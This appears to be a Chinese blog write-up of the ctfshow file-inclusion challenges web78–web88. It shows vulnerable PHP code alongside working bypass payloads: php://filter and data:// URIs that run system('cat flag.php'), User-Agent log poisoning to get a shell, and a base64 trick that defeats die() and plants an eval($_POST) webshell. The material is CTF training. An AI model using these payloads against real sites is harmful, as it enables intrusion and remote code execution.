ctfshow 文件包含

web78

进入环境

 直接利用php://filter伪协议读取flag.php文件

?file=php://filter/read=convert.base64-encode/resource=flag.php

 base64解码得到flag

web79

 <?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

str_replace替换字符串

将变量file中的php替换成???

那我们这里就不能用php伪协议了换data协议并用base64加密

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>

 web80

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

同上过滤php,data

正常服务器中的日志文件位置:

/var/log/nginx/access.log
/var/log/apache2/access.log

这里包含日志文件来getshell

 可以看见日志文件会记录User-Agent

抓包修改User-Agent

<?php system('ls');?>

<?php system('cat fl0g.php');?>

web81

 <?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

同上过滤php,data,:

使用日志文件getshell

和上题一样

web82

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

.也过滤了日志包含不行

web87

 <?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

file_put_contents使用php://filter绕过,这里用base64绕过

php://filter/convert.base64-decode/resource=s1mple.php

因为有urldecode解码且上面有php,data,:,.的过滤我们对其url2次编码绕过

因为url编码无法对英文字符直接编码,但原理是编码成16进制在前面再加上%

所以我们直接Hex编码加上%

绕后再进行一次url编码就可以了

 

 

绕过死亡函数die

phpdie六个字符,base64解码需要四个一组所以再加上两个a

在其后面加上一句话木马<?php @eval($_POST['zxc']);?>

aaPD9waHAgQGV2YWwoJF9QT1NUWyd6eGMnXSk7Pz4= 

即content=aaPD9waHAgQGV2YWwoJF9QT1NUWyd6eGMnXSk7Pz4=

用post传参

 然后访问s1mple.php

 命令执行

 

web88

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

和79一样用data协议但是base64编码后需要去掉=

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值